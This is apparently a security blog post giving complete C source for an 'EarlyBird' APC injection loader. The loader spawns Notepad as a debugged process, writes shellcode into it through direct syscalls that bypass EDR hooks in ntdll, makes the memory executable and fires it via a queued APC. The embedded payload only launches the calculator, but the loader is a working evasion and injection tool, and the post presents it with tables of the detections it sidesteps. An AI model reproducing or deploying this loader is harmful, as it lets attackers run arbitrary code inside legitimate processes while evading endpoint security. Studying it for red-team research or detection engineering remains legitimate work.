Post

EarlyBird-DirectSyscall

EarlyBird-DirectSyscall

What is it?

EarlyBird APC injection combined with direct syscalls. Two evasion layers in one:

  • EarlyBird — shellcode is queued as an APC on a process created under DEBUG_PROCESS, before any user-mode DLLs (including EDR) have initialized. When the debugger detaches, the thread resumes and the APC fires before the EDR hook DLL gets its DLL_PROCESS_ATTACH.
  • Direct syscalls (SysWhispers2) — memory operations bypass ntdll user-mode hooks entirely by invoking the kernel directly from hand-written ASM stubs, with syscall numbers derived at runtime from a sorted ntdll export table.

EarlyBird DirectSyscall Flow

How it works

Syscall initialization

1
2
3
4
5
6
7
8
9
10
11
12
SW2_PopulateSyscallList()
    GS:[0x60] → PEB → Ldr.InMemoryOrderModuleList
    walk until DllName == "ntdll.dll" (compared by 4-byte chunks)
    collect all Zw* exports → sort by address ascending
    syscall number (SSN) = index in sorted list

N0xAllocateVirtualMemory / N0xWriteVirtualMemory /
N0xProtectVirtualMemory / N0xQueueApcThread:
    SW2_GetSyscallNumber(hash) → SSN
    set EAX = SSN in ASM stub
    call syscall instruction directly — not through ntdll stub
    EDR hooks in ntdll are bypassed completely

Two stub variants are included:

1
2
3
4
syscallsstubs_std_x64.asm  → standard: SSN in EAX, syscall; ret
syscallsstubs_rnd_x64.asm  → random:   SSN in EAX, jmp to a random
                              clean syscall gadget in ntdll
                              (return address points inside ntdll, not our code)

CreateDebuggedProc — DEBUG_PROCESS flag

1
2
3
4
5
6
7
8
GetSystemDirectoryA → build full path to Notepad.exe
CreateProcessA(DEBUG_PROCESS)
→ process created with our process as its debugger
→ main thread blocks waiting for debug events to be handled
→ no DLLs have run DLL_PROCESS_ATTACH yet
→ EDR monitoring DLL has not loaded yet in the target

Returns: hProcess, hThread, dwProcessId

InjectRemoteProcess — direct syscalls

1
2
3
4
5
6
7
8
9
10
11
12
N0xAllocateVirtualMemory(hProcess, &pAddr, 0, &sRegionSize,
                          MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
→ direct kernel call — NtAllocateVirtualMemory hook in ntdll bypassed
→ RW allocation in target

N0xWriteVirtualMemory(hProcess, pAddr, Shellcode, size, &written)
→ shellcode copied to remote RW region
→ RtlSecureZeroMemory(Shellcode) — wipe local copy immediately

N0xProtectVirtualMemory(hProcess, &pAddr, &sRegionSize,
                         PAGE_EXECUTE_READWRITE, &dwOldProtect)
→ flip to RWX — still via direct syscall

Queue APC + detach debugger

1
2
3
4
5
6
7
8
9
10
N0xQueueApcThread(hThread, pShellcodeAddr, NULL, NULL, NULL)
→ shellcode address registered on main thread's APC queue
→ thread is still blocked waiting for debug events — hasn't run yet

DebugActiveProcessStop(dwProcessId)
→ detach our debugger
→ thread is released from debug hold
→ immediately enters alertable state during process initialization
→ APC queue is dispatched — shellcode executes
→ this all happens before EDR's DLL gets DLL_PROCESS_ATTACH

Why DEBUG_PROCESS instead of CREATE_SUSPENDED

1
2
3
4
5
CREATE_SUSPENDED:          DEBUG_PROCESS:
  ResumeThread resumes       DebugActiveProcessStop resumes
  standard technique         less common pattern
  well-known IOC             blends with legitimate debugger activity
  EDR may still load         EDR DLL has no chance to load before APC fires

Detection surface

1
2
3
4
5
6
7
8
9
10
11
12
13
Operation               Standard EarlyBird      This implementation
────────────────────────────────────────────────────────────────────
Memory allocation       NtAllocateVirtualMemory hooked by EDR
                                                N0xAllocateVirtualMemory — kernel direct
Memory write            NtWriteVirtualMemory hooked
                                                N0xWriteVirtualMemory — kernel direct
Permission change       NtProtectVirtualMemory hooked
                                                N0xProtectVirtualMemory — kernel direct
APC queue               NtQueueApcThread hooked
                                                N0xQueueApcThread — kernel direct
Process creation        CREATE_SUSPENDED (flagged)
                                                DEBUG_PROCESS (less flagged)
Resume mechanism        ResumeThread            DebugActiveProcessStop

earlybird.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
/*
	EarlyBird Injection with Direct Syscalls technique.

	We utilize custom direct syscalls since EDRs commonly hook native APIs in NTDLL user-mode.
	Although this technique is not a complete EDR bypass on its own, it demonstrates the
	mechanics behind syscall-based injection and APC abuse for early execution.
*/

#include <Windows.h>
#include <stdio.h>
#include "syscalls.h"


// x64 calc shellcode
unsigned char Shellcode[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};

/*
	Allocates RW memory in the remote process, writes shellcode into it

	hProcess       -> Handle to target process
	pShellcode     -> Pointer to local shellcode buffer
	sShellcodeSize -> Size of shellcode in bytes
	ppRemoteAddr   -> Receives the remote address where shellcode was written
*/
BOOL InjectRemoteProcess(_In_ HANDLE hProcess, _In_ PBYTE pShellcode, _In_ SIZE_T sShellcodeSize, _Out_ PVOID* ppRemoteAddr) {

	// Verify parameters are filled
	if (!hProcess || !pShellcode || !sShellcodeSize)
		return FALSE;

	PVOID    pShellcodeAddr = NULL;
	SIZE_T   sNumBytesWritten = 0;
	DWORD    dwOldProtect = 0;     // DWORD not a pointer — use 0 not NULL
	NTSTATUS status;
	SIZE_T   sRegionSize = sShellcodeSize; // NT rounds this up to page boundary on return

	// Allocate RW memory in remote process via direct syscall.
	// BaseAddress (in: NULL = let kernel pick, out: actual base) and RegionSize
	// (in/out: kernel rounds up to page boundary) are both pointer params.
	if ((status = N0xAllocateVirtualMemory(hProcess, &pShellcodeAddr, 0, &sRegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) != 0) {
		printf("[!] N0xAllocateVirtualMemory: 0x%08X \n", status);
		return FALSE;
	}

	printf("[+] Allocated Memory At: 0x%p\n", pShellcodeAddr);

	// Write our shellcode into the remote address space via direct syscall
	if ((status = N0xWriteVirtualMemory(hProcess, pShellcodeAddr, pShellcode, sShellcodeSize, &sNumBytesWritten)) != 0 || sNumBytesWritten != sShellcodeSize) {
		printf("[!] N0xWriteVirtualMemory Failed: 0x%08X \n", status);
		return FALSE;
	}

	// Zero out the local shellcode buffer now that it's been copied remotely
	RtlSecureZeroMemory(pShellcode, sShellcodeSize);

	// Flip remote memory from RW -> RX so the APC can execute it
	if ((status = N0xProtectVirtualMemory(hProcess, &pShellcodeAddr, &sRegionSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)) != 0) {
		printf("[!] N0xProtectVirtualMemory Failed: 0x%08X \n", status);
		return FALSE;
	}

	// Output the remote base address to the caller
	*ppRemoteAddr = pShellcodeAddr;

	return TRUE;
}

/*
	Spawns a process under DEBUG_PROCESS so we become its debugger and the
	main thread pauses waiting for debug events. This gives us a window to
	inject and queue the APC before the thread ever runs user code.
	
	We later detach with DebugActiveProcessStop, which resumes the thread
	and triggers the queued APC (EarlyBird).

	lpProcName -> Executable name relative to System32 (e.g. "Notepad.exe")
	dwProcId   -> Receives the spawned process ID
	hProcess   -> Receives handle to the spawned process
	hThread    -> Receives handle to the main thread
*/
BOOL CreateDebuggedProc(_In_ LPCSTR lpProcName, _Out_ DWORD* dwProcId, _Out_ HANDLE* hProcess, _Out_ HANDLE* hThread) {

	// Verify parameter is filled
	if (!lpProcName)
		return FALSE;

	CHAR                lpProcPath[MAX_PATH * 2] = { 0 };
	STARTUPINFO         StartInfo = { 0 };
	PROCESS_INFORMATION ProcInfo = { 0 };

	// Init output parameters
	*dwProcId = 0;
	*hProcess = NULL;
	*hThread = NULL;

	// Setup required struct
	StartInfo.cb = sizeof(STARTUPINFO);

	// Retrieve System32 directory so we can build the full path
	if (!GetSystemDirectoryA(lpProcPath, MAX_PATH)) {
		printf("[!] GetSystemDirectoryA Failed: %d\n", GetLastError());
		return FALSE;
	}

	// Append backslash + process name to get full path
	strncat_s(lpProcPath, sizeof(lpProcPath), "\\", 1);
	strncat_s(lpProcPath, sizeof(lpProcPath), lpProcName, strlen(lpProcName));

	// Create process with DEBUG_PROCESS flag — we are the debugger, thread
	// blocks on debug events until we call DebugActiveProcessStop
	if (!CreateProcessA(NULL, lpProcPath, NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &StartInfo, &ProcInfo)) {
		printf("[!] CreateProcessA Failed: %d\n", GetLastError());
		return FALSE;
	}

	// Outcast to output parameters
	*dwProcId = ProcInfo.dwProcessId;
	*hProcess = ProcInfo.hProcess;
	*hThread = ProcInfo.hThread;

	return TRUE;
}


#define TARGET_PROC "Notepad.exe"

int main() {
	HANDLE  hProcess = NULL, hThread = NULL;
	DWORD   dwProcessId = 0;
	PVOID   pShellcodeAddr = NULL;

	printf("[+] Creating \"%s\" Process As A Debugged Process ...\n", TARGET_PROC);

	if (!CreateDebuggedProc(TARGET_PROC, &dwProcessId, &hProcess, &hThread))
		return -1;

	printf("[+] Target Process PID: %d\n", dwProcessId);

	if (!InjectRemoteProcess(hProcess, Shellcode, sizeof(Shellcode), &pShellcodeAddr))
		return -1;

	// EarlyBird: queue APC to the main thread pointing at our shellcode.
	if (N0xQueueApcThread(hThread, (PKNORMAL_ROUTINE)pShellcodeAddr, NULL, NULL, NULL) != 0) {
		printf("[!] N0xQueueApcThread Failed: %d\n", GetLastError());
		return -1;
	}

	// Detach our debugger — this resumes the thread and triggers the queued APC
	if (!DebugActiveProcessStop(dwProcessId)) {
		printf("[!] DebugActiveProcessStop Failed: %d\n", GetLastError());
		return -1;
	}

	printf("[+] Press <Enter> To Exit!");
	getchar();

	CloseHandle(hProcess);
	CloseHandle(hThread);

	return 0;
}

syscalls.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
#include "syscalls.h"
#include <time.h>
#include <stdint.h>

// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams

SW2_SYSCALL_LIST SW2_SyscallList = { 0, 1 };

#ifdef RANDSYSCALL
#ifndef _WIN64
uint32_t ntdllBase = 0;
#else
uint64_t ntdllBase = 0;
#endif
#endif

DWORD SW2_HashSyscall(PCSTR FunctionName)
{
    DWORD i = 0;
    DWORD Hash = SW2_SEED;

    while (FunctionName[i])
    {
        WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
        Hash ^= PartialName + SW2_ROR8(Hash);
    }

    return Hash;
}

BOOL SW2_PopulateSyscallList(void)
{
    // Return early if the list is already populated.
    if (SW2_SyscallList.Count) return TRUE;

#if defined(_WIN64)
    PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60);
#else
    PSW2_PEB Peb = (PSW2_PEB)__readfsdword(0x30);
#endif
    PSW2_PEB_LDR_DATA Ldr = Peb->Ldr;
    PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
    PVOID DllBase = NULL;

    // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
    // in the list, so it's safer to loop through the full list and find it.
    PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
    for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
    {
        DllBase = LdrEntry->DllBase;
        PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
        PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
        PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
        DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
        if (VirtualAddress == 0) continue;

        ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);

        // If this is NTDLL.dll, exit loop.
        PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);

        if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue;
        if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break;
    }

    if (!ExportDirectory) return FALSE;
    
#ifdef RANDSYSCALL
#ifdef _WIN64
    ntdllBase = (uint64_t)DllBase;
#else
    ntdllBase = (uint64_t)DllBase;
#endif
#endif

    DWORD NumberOfNames = ExportDirectory->NumberOfNames;
    PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
    PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
    PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);

    // Populate SW2_SyscallList with unsorted Zw* entries.
    DWORD i = 0;
    PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
    do
    {
        PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);

        // Is this a system call?
        if (*(USHORT*)FunctionName == 'wZ')
        {
            Entries[i].Hash = SW2_HashSyscall(FunctionName);
            Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];

            i++;
            if (i == SW2_MAX_ENTRIES) break;
        }
    } while (--NumberOfNames);

    // Save total number of system calls found.
    SW2_SyscallList.Count = i;

    // Sort the list by address in ascending order.
    for (i = 0; i < SW2_SyscallList.Count - 1; i++)
    {
        for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++)
        {
            if (Entries[j].Address > Entries[j + 1].Address)
            {
                // Swap entries.
                SW2_SYSCALL_ENTRY TempEntry;

                TempEntry.Hash = Entries[j].Hash;
                TempEntry.Address = Entries[j].Address;

                Entries[j].Hash = Entries[j + 1].Hash;
                Entries[j].Address = Entries[j + 1].Address;

                Entries[j + 1].Hash = TempEntry.Hash;
                Entries[j + 1].Address = TempEntry.Address;
            }
        }
    }

    return TRUE;
}

EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
{
    // Ensure SW2_SyscallList is populated.
    if (!SW2_PopulateSyscallList()) return -1;

    for (DWORD i = 0; i < SW2_SyscallList.Count; i++)
    {
        if (FunctionHash == SW2_SyscallList.Entries[i].Hash)
        {
            return i;
        }
    }

    return -1;
}

#ifdef RANDSYSCALL
#ifdef _WIN64
EXTERN_C uint64_t SW2_GetRandomSyscallAddress(void)
#else
EXTERN_C DWORD SW2_GetRandomSyscallAddress(int callType)
#endif
{
    int instructOffset = 0;
    int instructValue = 0;
#ifndef _WIN64
    // Wow64
    if (callType == 0)
    {
        instructOffset = 0x05;
        instructValue = 0x0E8;
    }
    // x86
    else if (callType == 1)
    {
        instructOffset = 0x05;
        instructValue = 0x0BA;
    }
#else
    instructOffset = 0x12;
    instructValue = 0x0F;
#endif
    srand(time(0));
    do
    {
        int randNum = (rand() % (SW2_SyscallList.Count + 1));
        if (*(unsigned char*)(ntdllBase + SW2_SyscallList.Entries[randNum].Address + instructOffset) == instructValue)
            return (ntdllBase + SW2_SyscallList.Entries[randNum].Address + instructOffset);
    } while(1);
}
#endif

syscalls.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#pragma once

// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams

#ifndef SW2_HEADER_H_
#define SW2_HEADER_H_

#include <windows.h>

#define SW2_SEED 0x8BE2BD0F
#define SW2_ROL8(v) (v << 8 | v >> 24)
#define SW2_ROR8(v) (v >> 8 | v << 24)
#define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
#define SW2_MAX_ENTRIES 500
#define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)

// Typedefs are prefixed to avoid pollution.

typedef struct _SW2_SYSCALL_ENTRY
{
    DWORD Hash;
    DWORD Address;
} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;

typedef struct _SW2_SYSCALL_LIST
{
    DWORD Count;
    SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
} SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;

typedef struct _SW2_PEB_LDR_DATA {
	BYTE Reserved1[8];
	PVOID Reserved2[3];
	LIST_ENTRY InMemoryOrderModuleList;
} SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA;

typedef struct _SW2_LDR_DATA_TABLE_ENTRY {
	PVOID Reserved1[2];
	LIST_ENTRY InMemoryOrderLinks;
	PVOID Reserved2[2];
	PVOID DllBase;
} SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY;

typedef struct _SW2_PEB {
	BYTE Reserved1[2];
	BYTE BeingDebugged;
	BYTE Reserved2[1];
	PVOID Reserved3[2];
	PSW2_PEB_LDR_DATA Ldr;
} SW2_PEB, *PSW2_PEB;

DWORD SW2_HashSyscall(PCSTR FunctionName);
BOOL SW2_PopulateSyscallList(void);
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash);

typedef VOID(KNORMAL_ROUTINE) (
	IN PVOID NormalContext,
	IN PVOID SystemArgument1,
	IN PVOID SystemArgument2);

typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;

EXTERN_C NTSTATUS N0xAllocateVirtualMemory(
	IN HANDLE ProcessHandle,
	IN OUT PVOID * BaseAddress,
	IN ULONG ZeroBits,
	IN OUT PSIZE_T RegionSize,
	IN ULONG AllocationType,
	IN ULONG Protect);

EXTERN_C NTSTATUS N0xWriteVirtualMemory(
	IN HANDLE ProcessHandle,
	IN PVOID BaseAddress,
	IN PVOID Buffer,
	IN SIZE_T NumberOfBytesToWrite,
	OUT PSIZE_T NumberOfBytesWritten OPTIONAL);

EXTERN_C NTSTATUS N0xProtectVirtualMemory(
	IN HANDLE ProcessHandle,
	IN OUT PVOID * BaseAddress,
	IN OUT PSIZE_T RegionSize,
	IN ULONG NewProtect,
	OUT PULONG OldProtect);

EXTERN_C NTSTATUS N0xQueueApcThread(
	IN HANDLE ThreadHandle,
	IN PKNORMAL_ROUTINE ApcRoutine,
	IN PVOID ApcArgument1 OPTIONAL,
	IN PVOID ApcArgument2 OPTIONAL,
	IN PVOID ApcArgument3 OPTIONAL);

#endif

This post is licensed under CC BY 4.0 by the author.